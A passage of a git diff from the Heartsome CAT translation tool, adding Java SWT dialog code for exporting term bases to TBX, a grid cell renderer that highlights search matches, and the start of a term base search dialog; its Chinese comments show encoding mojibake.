sel.getFirstElement(); + if (bean.equals(filterList.get(0))) { // 总是存在一个空的filter,显示为"æ— " + return; + } + + if (MessageDialog.openConfirm(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + Messages.getString("dialog.ExportTbxDialog.msg2"))) { + filterStore.deleteFilterRuleByName(bean.getFilterName(), "TBX"); + int i = filterList.indexOf(bean); + filterList.remove(i); + filterComboViewer.setInput(filterList); + filterComboViewer.getCombo().select(0); + } + } + }); + + Composite tbxFileSetComposite = new Composite(container, SWT.NONE); + GridLayout glTbxFileSetComposite = new GridLayout(3, false); + glTbxFileSetComposite.marginWidth = 0; + glTbxFileSetComposite.marginHeight = 0; + tbxFileSetComposite.setLayout(glTbxFileSetComposite); + tbxFileSetComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label tbxFileLabel = new Label(tbxFileSetComposite, SWT.NONE); + tbxFileLabel.setText(Messages.getString("dialog.ExportTbxDialog.tbxFileLabel")); + + tbxFileText = new Text(tbxFileSetComposite, SWT.BORDER); + tbxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tbxFileText.setEnabled(false); + + browserBtn = new Button(tbxFileSetComposite, SWT.NONE); + browserBtn.setText(Messages.getString("dialog.ExportTbxDialog.browserBtn")); + browserBtn.setEnabled(false); + browserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + if (dbList.size() > 1) { + DirectoryDialog dlg = new DirectoryDialog(getParentShell()); + String filePath = dlg.open(); + if (filePath != null) { + tbxFileText.setText(filePath); + } + } else { + FileDialog dlg = new FileDialog(getShell(), SWT.SAVE); + String[] filterExt = { "*.tbx" }; + dlg.setFilterExtensions(filterExt); + String filePath = dlg.open(); + if (filePath != null) { + tbxFileText.setText(filePath); + } + } + } + }); + + return container; + } + + /** + * 选择当å‰é€‰ä¸­çš„æ•°æ®åº“ ; + */ + private void selectCurrentDb(ExportDatabaseBean bean) { + if (bean != null) { + dbListViewer.setSelection(new StructuredSelection(bean)); + } else { + if (dbList.size() != 0) { + dbListViewer.setSelection(new StructuredSelection(dbList.get(0))); + } + } + dbListViewer.getTable().setFocus(); + } + + private void filterSetting(ExportFilterBean filter) { + + ExportFilterSettingDialog filterDlg = new ExportFilterSettingDialog(getShell(), "TBX"); + filterDlg.setFilterStore(filterStore); // 两个对è¯æ¡†å…±ç”¨ä¸€ä¸ªstore + if (filter != null) { // 编辑当å‰è¿‡æ»¤æ¡ä»¶ + filterDlg.setCurrentFilter(filter); + if (filterDlg.open() == Window.OK) { + int i = filterList.indexOf(filter); + filterList.remove(i); + filterList.add(i, filterDlg.getSettingResult()); + filterComboViewer.setInput(filterList); + filterComboViewer.getCombo().select(i); + } + } else { + if (filterDlg.open() == Window.OK) { + filterList.add(1, filterDlg.getSettingResult()); + filterComboViewer.setInput(filterList); + filterComboViewer.getCombo().select(1); + } + } + } + + /** + * åˆå§‹åŒ–过滤器列表 ; + */ + private void initFilterStore() { + this.filterList = filterStore.getFilterRule("TBX"); + ExportFilterBean empty = new ExportFilterBean(); + empty.setFilterName(Messages.getString("dialog.ExportTbxDialog.empty")); + filterList.add(0, empty); + } + + /** + * åŠ è½½è¯­è¨€æ•°æ® ; + */ + private void loadData() { + if (currentDatabase == null) { // 清ç†æ•°æ® + hasSelLangListViewer.getList().removeAll(); + srcLangcomboViewer.getCombo().removeAll(); + encodingComboViewer.getCombo().setText(""); + return; + } + + // 加载所有语言 + hasSelLangListViewer.setInput(currentDatabase.getExistLangs().split(",")); + hasSelLangListViewer.setSelection(new StructuredSelection(currentDatabase.getHasSelectedLangs())); + + // 加载æºè¯­è¨€; + srcLangcomboViewer.setInput(currentDatabase.getCanSelSrcLangs()); + srcLangcomboViewer.setSelection(new StructuredSelection(currentDatabase.getCanSelSrcLangs().get(0))); + + // 加载编ç åˆ—表,默认为UTF-8 + encodingComboViewer.setSelection(new StructuredSelection("UTF-8")); + + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, Messages.getString("dialog.ExportTbxDialog.ok"), true); + createButton(parent, IDialogConstants.CANCEL_ID, Messages.getString("dialog.ExportTbxDialog.cancel"), false); + } + + /** + * 创建Table列 + * @param viewer + * ; + */ + private void createColumn(final TableViewer viewer) { + String[] clmnTitles = { Messages.getString("dialog.ExportTbxDialog.clmnTitles1"), + Messages.getString("dialog.ExportTbxDialog.clmnTitles2"), + Messages.getString("dialog.ExportTbxDialog.clmnTitles3"), + Messages.getString("dialog.ExportTbxDialog.clmnTitles4") }; + int[] clmnBounds = { 50, 80, 100, 100 }; + + TableViewerColumn col = createTableViewerColumn(viewer, clmnTitles[0], clmnBounds[0], 0); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getIndex(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[1], clmnBounds[1], 1); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getDbBean().getDbType(); + } + }); + + col = createTableViewerColumn(viewer, clmnTitles[2], clmnBounds[2], 2); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getDbBean().getDatabaseName(); + } + }); + col = createTableViewerColumn(viewer, clmnTitles[3], clmnBounds[3], 3); + col.setLabelProvider(new ColumnLabelProvider() { + + public String getText(Object element) { + ExportDatabaseBean bean = (ExportDatabaseBean) element; + return bean.getExistLangs(); + } + }); + + } + + /** + * 设置TableViewer 列属性 + * @param viewer + * @param title + * 列标题 + * @param bound + * 列宽 + * @param colNumber + * 列åºå· + * @return {@link TableViewerColumn}; + */ + private TableViewerColumn createTableViewerColumn(TableViewer viewer, String title, int bound, final int colNumber) { + final TableViewerColumn viewerColumn = new TableViewerColumn(viewer, SWT.NONE | SWT.Resize); + final TableColumn column = viewerColumn.getColumn(); + column.setText(title); + column.setWidth(bound); + column.setResizable(true); + column.setMoveable(true); + return viewerColumn; + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return new Point(584, 559); + } + + private final class FilterLabelProvider extends LabelProvider { + + @Override + public Image getImage(Object element) { + return null; + } + + @Override + public String getText(Object element) { + if (element instanceof ExportFilterBean) { + return ((ExportFilterBean) element).getFilterName(); + } + return null; + } + } + + @Override + protected void okPressed() { + String encoding = "UTF-8"; + if (hasChangedCodingCbtn.getSelection()) { + encoding = this.encodingComboViewer.getCombo().getText(); + } + String exportPath = this.tbxFileText.getText(); + ExportFilterBean filterBean = null; + if (hasFilterChangedBtn.getSelection()) { + IStructuredSelection sel = (IStructuredSelection) filterComboViewer.getSelection(); + filterBean = (ExportFilterBean) sel.getFirstElement(); + if (filterBean.equals(filterList.get(0))) { + filterBean = null; + } + } + if (this.dbList.size() == 0) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + Messages.getString("dialog.ExportTbxDialog.msg3")); + return; + } + for (Iterator iterator = dbList.iterator(); iterator.hasNext();) { + ExportDatabaseBean dbBean = iterator.next(); + if (dbBean.getHasSelectedLangs().size() < 2) { + String dbType = dbBean.getDbBean().getDbType(); + String name = dbBean.getDbBean().getDatabaseName(); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + MessageFormat.format(Messages.getString("dialog.ExportTbxDialog.msg4"), dbType, name)); + return; + } + } + + if (exportPath == null || exportPath.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + Messages.getString("dialog.ExportTbxDialog.msg5")); + return; + } + + if (this.dbList.size() > 1) { + File f = new File(exportPath); + if (!f.isDirectory()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + Messages.getString("dialog.ExportTbxDialog.msg7")); + return; + } + } + + if (this.dbList.size() == 1) { + File f = new File(exportPath); + if (f.isDirectory()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + Messages.getString("dialog.ExportTbxDialog.msg8")); + return; + } + } + + if (this.dbList.size() == 1) { + dbList.get(0).setExportFilePath(exportPath); + File file = new File(exportPath); + if (file.exists()) { + if (!MessageDialog.openConfirm(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + MessageFormat.format(Messages.getString("dialog.ExportTbxDialog.msg6"), exportPath))) { + return; + } + } + } else { + for (Iterator iterator = dbList.iterator(); iterator.hasNext();) { + ExportDatabaseBean db = iterator.next(); + String databaseName = db.getDbBean().getDatabaseName(); + String path = exportPath + System.getProperty("file.separator") + databaseName + + db.getDbBean().getDbType() + ".tbx"; + File file = new File(path); + if (file.exists()) { + if (!MessageDialog.openConfirm(getShell(), Messages.getString("dialog.ExportTbxDialog.msgTitle"), + MessageFormat.format(Messages.getString("dialog.ExportTbxDialog.msg6"), path))) { + return; + } + } + db.setExportFilePath(path); + } + } + final ExportAbstract exportor = new ExportTbxImpl(this.dbList, filterBean, encoding); + Job job = new Job(Messages.getString("dialog.ExportTbxDialog.job")) { + @Override + protected IStatus run(IProgressMonitor monitor) { + final String result = DatabaseService.executeExport(exportor, monitor); + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.ExportTbxDialog.msgTitle"), result); + } + }); + return Status.OK_STATUS; + } + }; + job.addJobChangeListener(new JobChangeAdapter() { + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + + job.setUser(true); + job.schedule(); + super.okPressed(); + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TBSearchCellRenderer.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TBSearchCellRenderer.java new file mode 100644 index 0000000..0f21157 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TBSearchCellRenderer.java @@ -0,0 +1,671 @@ +package net.heartsome.cat.database.ui.tb.dialog; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.ui.grid.XGridCellRenderer; + +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.nebula.widgets.grid.IInternalWidget; +import org.eclipse.nebula.widgets.grid.internal.BranchRenderer; +import org.eclipse.nebula.widgets.grid.internal.CheckBoxRenderer; +import org.eclipse.nebula.widgets.grid.internal.ToggleRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; + +/** + * 用于对å•å…ƒæ ¼æ ·å¼è¿›è¡Œè®¾ç½®çš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings({ "restriction" }) +public class TBSearchCellRenderer extends XGridCellRenderer { + + int leftMargin = 4; + + int rightMargin = 4; + + int topMargin = 0; + + int bottomMargin = 0; + + int textTopMargin = 1; + + int textBottomMargin = 2; + + private int insideMargin = 3; + + int treeIndent = 20; + + private ToggleRenderer toggleRenderer; + + private BranchRenderer branchRenderer; + + private CheckBoxRenderer checkRenderer; + + private TextLayout textLayout; + + /** 添加样å¼çš„文本 */ + private String strText; + + /** 设置样å¼æ—¶æ˜¯å¦åŒºåˆ†å¤§å°å†™ */ + private boolean blnIsCaseSensitive; + + /** 设置样å¼æ—¶æ˜¯å¦ä½¿ç”¨æ­£åˆ™è¡¨è¾¾å¼ */ + private boolean blnIsApplyRegular; + + private TextStyle style; + + /** è¦åŠ æ ·å¼çš„列 */ + private int styleColumn = 1; + + public String getStrText() { + return strText; + } + + public void setStrText(String strText) { + this.strText = strText; + } + + public boolean isBtnIsCaseSensitive() { + return blnIsCaseSensitive; + } + + public void setBlnIsCaseSensitive(boolean blnIsCaseSensitive) { + this.blnIsCaseSensitive = blnIsCaseSensitive; + } + + public int getStyleColumn() { + return styleColumn; + } + + public void setStyleColumn(int styleColumn) { + this.styleColumn = styleColumn; + } + + public boolean isBlnIsApplyRegular() { + return blnIsApplyRegular; + } + + public void setBlnIsApplyRegular(boolean blnIsApplyRegular) { + this.blnIsApplyRegular = blnIsApplyRegular; + } + + /** + * (non-Javadoc) + * @see org.eclipse.nebula.widgets.grid.IRenderer#paint(org.eclipse.swt.graphics.GC, java.lang.Object) + */ + public void paint(GC gc, Object value) { + GridItem item = (GridItem) value; + + gc.setFont(item.getFont(getColumn())); + + boolean drawAsSelected = isSelected(); + + boolean drawBackground = true; + + if (isCellSelected()) { + drawAsSelected = true;// (!isCellFocus()); + } + + if (drawAsSelected) { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION)); + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT)); + } else { + if (item.getParent().isEnabled()) { + Color back = item.getBackground(getColumn()); + + if (back != null) { + gc.setBackground(back); + } else { + drawBackground = false; + } + } else { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + gc.setForeground(item.getForeground(getColumn())); + } + + if (drawBackground) + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, getBounds().height); + + int x = leftMargin; + + if (isTree()) { + boolean renderBranches = item.getParent().getTreeLinesVisible(); + if (renderBranches) { + branchRenderer.setBranches(getBranches(item)); + branchRenderer.setIndent(treeIndent); + branchRenderer.setBounds(getBounds().x + x, getBounds().y, getToggleIndent(item), + getBounds().height + 1); // Take into account border + } + + x += getToggleIndent(item); + + toggleRenderer.setExpanded(item.isExpanded()); + + toggleRenderer.setHover(getHoverDetail().equals("toggle")); + + toggleRenderer.setLocation(getBounds().x + x, (getBounds().height - toggleRenderer.getBounds().height) / 2 + + getBounds().y); + if (item.hasChildren()) + toggleRenderer.paint(gc, null); + + if (renderBranches) { + branchRenderer.setToggleBounds(toggleRenderer.getBounds()); + branchRenderer.paint(gc, null); + } + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) { + checkRenderer.setChecked(item.getChecked(getColumn())); + checkRenderer.setGrayed(item.getGrayed(getColumn())); + if (!item.getParent().isEnabled()) { + checkRenderer.setGrayed(true); + } + checkRenderer.setHover(getHoverDetail().equals("check")); + + if (isCenteredCheckBoxOnly(item)) { + // Special logic if this column only has a checkbox and is centered + checkRenderer.setBounds(getBounds().x + ((getBounds().width - checkRenderer.getBounds().width) / 2), + (getBounds().height - checkRenderer.getBounds().height) / 2 + getBounds().y, + checkRenderer.getBounds().width, checkRenderer.getBounds().height); + } else { + checkRenderer.setBounds(getBounds().x + x, (getBounds().height - checkRenderer.getBounds().height) / 2 + + getBounds().y, checkRenderer.getBounds().width, checkRenderer.getBounds().height); + + x += checkRenderer.getBounds().width + insideMargin; + } + + checkRenderer.paint(gc, null); + } + + Image image = item.getImage(getColumn()); + if (image != null) { + int y = getBounds().y; + + y += (getBounds().height - image.getBounds().height) / 2; + + gc.drawImage(image, getBounds().x + x, y); + + x += image.getBounds().width + insideMargin; + } + + if (drawAsSelected) { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_SELECTION_TEXT)); + } else { + gc.setForeground(item.getForeground(getColumn())); + } + + int width = getBounds().width - x - rightMargin; + int height = getBounds().height - bottomMargin; + int y = getBounds().y + textTopMargin + topMargin; + + if (textLayout == null) { + textLayout = new TextLayout(gc.getDevice()); + item.getParent().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + textLayout.dispose(); + } + }); + } + textLayout.setFont(gc.getFont()); + String itemText = item.getText(getColumn()); + textLayout.setText(item.getText(getColumn())); + textLayout.setAlignment(getAlignment()); + textLayout.setWidth(width < 1 ? 1 : width); + if (styleColumn != -1 && getColumn() == styleColumn) { + if (style == null) { + final Font font = new Font(gc.getDevice(), gc.getFont().getFontData()[0].getName(), gc.getFont() + .getFontData()[0].getHeight(), SWT.BOLD); + style = new TextStyle(font, null, null); + item.getParent().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + font.dispose(); + } + }); + } + + if (strText != null) { + if (blnIsApplyRegular) { + Pattern pattern = null; + if (blnIsCaseSensitive) { + pattern = Pattern.compile(strText); + } else { + pattern = Pattern.compile(strText, Pattern.CASE_INSENSITIVE); + } + Matcher matcher = pattern.matcher(itemText); + while (matcher.find()) { + textLayout.setStyle(style, matcher.start(), matcher.end() - 1); + } + } else { + int index; + if (blnIsCaseSensitive) { + index = itemText.indexOf(strText); + } else { + index = itemText.toUpperCase().indexOf(strText.toUpperCase()); + } + + if (index != -1) { + textLayout.setStyle(null, 0, itemText.length() -1); + for (int i = 1; i < strText.length(); i++) { + int j = TextUtil.indexOf(itemText, strText, i, blnIsCaseSensitive); + if (j != -1) { + textLayout.setStyle(style, j, j + strText.length() - 1); + } else { + break; + } + + } + } + } + } + } + + if (item.getParent().isAutoHeight()) { + int textHeight = topMargin + textTopMargin; + for (int cnt = 0; cnt < textLayout.getLineCount(); cnt++) + textHeight += textLayout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + Object obj = item.getData("itemHeight"); + if(getColumn() != item.getParent().getColumnCount() - 1){ + if(obj != null){ + int heigth = (Integer) obj; + textHeight = Math.max(textHeight, heigth); + } + item.setData("itemHeight", textHeight); + } else { + int heigth = (Integer) obj; + textHeight = Math.max(textHeight, heigth); + if(textHeight != item.getHeight()){ + item.setHeight(textHeight); + } + item.setData("itemHeight", null); + } + } + + y += getVerticalAlignmentAdjustment(textLayout.getBounds().height, height); + + textLayout.draw(gc, getBounds().x + x, y); + + if (item.getParent().getLinesVisible()) { + if (isCellSelected()) { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + } else { + gc.setForeground(item.getParent().getLineColor()); + } + gc.drawLine(getBounds().x, getBounds().y + getBounds().height, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + getBounds().width - 1, + getBounds().y + getBounds().height); + + } + + if (isCellFocus()) { + Rectangle focusRect = new Rectangle(getBounds().x, getBounds().y, getBounds().width - 1, getBounds().height); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + gc.drawRectangle(focusRect); + + if (isFocus()) { + focusRect.x++; + focusRect.width -= 2; + focusRect.y++; + focusRect.height -= 2; + + gc.drawRectangle(focusRect); + } + } + } + + /** + * Calculates the sequence of branch lines which should be rendered for the provided item + * @param item + * @return an array of integers composed using the constants in {@link BranchRenderer} + */ + private int[] getBranches(GridItem item) { + int[] branches = new int[item.getLevel() + 1]; + GridItem[] roots = item.getParent().getRootItems(); + + // Is this a node or a leaf? + if (item.getParentItem() == null) { + // Add descender if not last item + if (!item.isExpanded() && roots[roots.length - 1].equals(item)) { + if (item.hasChildren()) + branches[item.getLevel()] = BranchRenderer.LAST_ROOT; + else + branches[item.getLevel()] = BranchRenderer.SMALL_L; + } else { + if (item.hasChildren()) + branches[item.getLevel()] = BranchRenderer.ROOT; + else + branches[item.getLevel()] = BranchRenderer.SMALL_T; + } + + } else if (item.hasChildren()) + if (item.isExpanded()) + branches[item.getLevel()] = BranchRenderer.NODE; + else + branches[item.getLevel()] = BranchRenderer.NONE; + else + branches[item.getLevel()] = BranchRenderer.LEAF; + + // Branch for current item + GridItem parent = item.getParentItem(); + if (parent == null) + return branches; + + // Are there siblings below this item? + if (parent.indexOf(item) < parent.getItemCount() - 1) + branches[item.getLevel() - 1] = BranchRenderer.T; + + // Is the next node a root? + else if (parent.getParentItem() == null && !parent.equals(roots[roots.length - 1])) + branches[item.getLevel() - 1] = BranchRenderer.T; + + // This must be the last element at this level + else + branches[item.getLevel() - 1] = BranchRenderer.L; + + Grid grid = item.getParent(); + item = parent; + parent = item.getParentItem(); + + // Branches for parent items + while (item.getLevel() > 0) { + if (parent.indexOf(item) == parent.getItemCount() - 1) { + if (parent.getParentItem() == null && !grid.getRootItem(grid.getRootItemCount() - 1).equals(parent)) + branches[item.getLevel() - 1] = BranchRenderer.I; + else + branches[item.getLevel() - 1] = BranchRenderer.NONE; + } else + branches[item.getLevel() - 1] = BranchRenderer.I; + item = parent; + parent = item.getParentItem(); + } + // item should be null at this point + return branches; + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) { + GridItem item = (GridItem) value; + + gc.setFont(item.getFont(getColumn())); + + int x = 0; + + x += leftMargin; + + if (isTree()) { + x += getToggleIndent(item); + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) { + x += checkRenderer.getBounds().width + insideMargin; + } + + int y = 0; + + Image image = item.getImage(getColumn()); + if (image != null) { + y = topMargin + image.getBounds().height + bottomMargin; + + x += image.getBounds().width + insideMargin; + } + + // MOPR-DND + // MOPR: replaced this code (to get correct preferred height for cells in word-wrap columns) + // + // x += gc.stringExtent(item.getText(column)).x + rightMargin; + // + // y = Math.max(y,topMargin + gc.getFontMetrics().getHeight() + bottomMargin); + // + // with this code: + + int textHeight = 0; + if (!isWordWrap()) { + x += gc.textExtent(item.getText(getColumn())).x + rightMargin; + + textHeight = topMargin + textTopMargin + gc.getFontMetrics().getHeight() + textBottomMargin + bottomMargin; + } else { + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin; + else + plainTextWidth = wHint - x - rightMargin; + + TextLayout currTextLayout = new TextLayout(gc.getDevice()); + currTextLayout.setFont(gc.getFont()); + currTextLayout.setText(item.getText(getColumn())); + currTextLayout.setAlignment(getAlignment()); + currTextLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + textHeight += topMargin + textTopMargin; + for (int cnt = 0; cnt < currTextLayout.getLineCount(); cnt++) + textHeight += currTextLayout.getLineBounds(cnt).height; + textHeight += textBottomMargin + bottomMargin; + + currTextLayout.dispose(); + } + + y = Math.max(y, textHeight); + + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) { + + GridItem item = (GridItem) value; + + if (isCheck()) { + if (event == IInternalWidget.MouseMove) { + if (overCheck(item, point)) { + setHoverDetail("check"); + return true; + } + } + + if (event == IInternalWidget.LeftMouseButtonDown) { + if (overCheck(item, point)) { + if (!item.getCheckable(getColumn())) { + return false; + } + + item.setChecked(getColumn(), !item.getChecked(getColumn())); + item.getParent().redraw(); + + item.fireCheckEvent(getColumn()); + + return true; + } + } + } + + if (isTree() && item.hasChildren()) { + if (event == IInternalWidget.MouseMove) { + if (overToggle(item, point)) { + setHoverDetail("toggle"); + return true; + } + } + + if (event == IInternalWidget.LeftMouseButtonDown) { + if (overToggle(item, point)) { + item.setExpanded(!item.isExpanded()); + item.getParent().redraw(); + + if (item.isExpanded()) { + item.fireEvent(SWT.Expand); + } else { + item.fireEvent(SWT.Collapse); + } + + return true; + } + } + } + + return false; + } + + private boolean overCheck(GridItem item, Point point) { + if (isCenteredCheckBoxOnly(item)) { + point = new Point(point.x, point.y); + point.x -= getBounds().x; + point.y -= getBounds().y; + + Rectangle checkBounds = new Rectangle(0, 0, 0, 0); + checkBounds.x = (getBounds().width - checkRenderer.getBounds().width) / 2; + checkBounds.y = ((getBounds().height - checkRenderer.getBounds().height) / 2); + checkBounds.width = checkRenderer.getBounds().width; + checkBounds.height = checkRenderer.getBounds().height; + + return checkBounds.contains(point); + } else { + point = new Point(point.x, point.y); + point.x -= getBounds().x; + point.y -= getBounds().y; + + int x = leftMargin; + if (isTree()) { + x += getToggleIndent(item); + x += toggleRenderer.getSize().x + insideMargin; + } + + if (point.x >= x && point.x < (x + checkRenderer.getSize().x)) { + int yStart = ((getBounds().height - checkRenderer.getBounds().height) / 2); + if (point.y >= yStart && point.y < yStart + checkRenderer.getSize().y) { + return true; + } + } + + return false; + } + } + + private int getToggleIndent(GridItem item) { + return item.getLevel() * treeIndent; + } + + private boolean overToggle(GridItem item, Point point) { + + point = new Point(point.x, point.y); + + point.x -= getBounds().x - 1; + point.y -= getBounds().y - 1; + + int x = leftMargin; + x += getToggleIndent(item); + + if (point.x >= x && point.x < (x + toggleRenderer.getSize().x)) { + // return true; + int yStart = ((getBounds().height - toggleRenderer.getBounds().height) / 2); + if (point.y >= yStart && point.y < yStart + toggleRenderer.getSize().y) { + return true; + } + } + + return false; + } + + /** + * {@inheritDoc} + */ + public void setTree(boolean tree) { + super.setTree(tree); + + if (tree) { + toggleRenderer = new ToggleRenderer(); + toggleRenderer.setDisplay(getDisplay()); + + branchRenderer = new BranchRenderer(); + branchRenderer.setDisplay(getDisplay()); + } + } + + /** + * {@inheritDoc} + */ + public void setCheck(boolean check) { + super.setCheck(check); + + if (check) { + checkRenderer = new CheckBoxRenderer(); + checkRenderer.setDisplay(getDisplay()); + } else { + checkRenderer = null; + } + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(GridItem item, boolean preferred) { + int x = leftMargin; + + if (isTree()) { + x += getToggleIndent(item); + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) { + x += checkRenderer.getBounds().width + insideMargin; + } + + Image image = item.getImage(getColumn()); + if (image != null) { + x += image.getBounds().width + insideMargin; + } + + Rectangle bounds = new Rectangle(x, topMargin + textTopMargin, 0, 0); + + GC gc = new GC(item.getParent()); + gc.setFont(item.getFont(getColumn())); + Point size = gc.stringExtent(item.getText(getColumn())); + + bounds.height = size.y; + + if (preferred) { + bounds.width = size.x - 1; + } else { + bounds.width = getBounds().width - x - rightMargin; + } + + gc.dispose(); + + return bounds; + } + + private boolean isCenteredCheckBoxOnly(GridItem item) { + return !isTree() && item.getImage(getColumn()) == null && item.getText(getColumn()).equals("") + && getAlignment() == SWT.CENTER; + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermBaseSearchDialog.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermBaseSearchDialog.java new file mode 100644 index 0000000..756b763 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermBaseSearchDialog.java @@ -0,0 +1,1050 @@ +package net.heartsome.cat.database.ui.tb.dialog; + +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Hashtable; +import java.util.IdentityHashMap; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.resource.Messages; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.KeyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Spinner; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.IEditorPart; +import 